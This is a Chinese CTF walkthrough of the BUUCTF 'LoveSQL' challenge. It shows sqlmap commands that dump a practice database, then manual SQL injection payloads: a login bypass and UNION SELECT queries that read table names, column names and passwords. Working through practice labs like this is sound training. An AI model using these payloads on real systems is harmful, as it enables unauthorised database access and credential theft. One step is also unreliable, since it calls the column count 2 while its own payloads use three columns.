Bootstrap

2025.1.16——五、LoveSQL1 sqlmap文件类|万能密码

题目来源:BUUCTF [极客大挑战 2019]LoveSQL 1

目录

一、打开靶机,分析信息

二、sqlmap解题——文件类

step 1:通过url进行爆破

step 2:抓包并将信息保存为文件进行爆破数据库

step 3:爆表

step 4:爆列的所有信息

三、手工注入爆破——万能密码

step 1:万能密码注入

step 2:判断字段数

step 3:爆数据库

step 4:爆表名

step 5:爆列名

step 6:爆具体数据

四、小结


一、打开靶机,分析信息

              题目提示这道题是sql注入

        查看源码,获取信息:①可尝试sqlmap;②可以手工注入

二、sqlmap解题——文件类

step 1:通过url进行爆破

        直接复制url,使用 -u 进行爆破,但是总感觉哪里怪怪的,应该是传参的内容不太合适,所以改用文件方式进行爆破

step 2:抓包并将信息保存为文件进行爆破数据库

        bp抓包后将信息保存在桌面的1.txt文件中,用-r指令进行爆破

口令:

python sqlmap.py -r "C:\Users\AR439\Desktop\1.txt" -dbs

        得到5个数据库名,geek数据库最可疑,进行爆破

step 3:爆表

python sqlmap.py -r "C:\Users\AR439\Desktop\1.txt" -p username --batch -D geek --tables

        得到两个表,其中 l0ve1ysq1列 最可疑

step 4:爆列的所有信息

python sqlmap.py -r "C:\Users\AR439\Desktop\1.txt" -p username --batch -D geek -T l0ve1ysq1 --dump

        得到flag

三、手工注入爆破——万能密码

step 1:万能密码注入

username:1’ or 1=1 #   password:随便

        注入点正确

step 2:判断字段数

        %23是url编码后的#

1' order by 3 %23

1' order by 4 %23

        所以可以得到字段数为2

step 3:爆数据库

        这里可以加一步判断回显点

1' union select 1,2,3%23

        爆出数据库

1' union select database(),database(),database()%23

        得到数据库名geek

step 4:爆表名

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'

step 5:爆列名

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23

step 6:爆具体数据

1' union select 1,2,password from geek.l0ve1ysq1 %23

        得到了我们不需要的东西,所以应该一次性把数据全部输出

1' union select 1,2,group_concat(password) from geek.l0ve1ysq1 %23

        太长了,直接看源代码,得到flag为flag{8e405a18-97b4-4393-9991-ec7de04d993c}

四、小结

        拿到题先寻找注入点,而后判断注入类型,尝试用万能密码登陆,sqlmap的使用很重要

;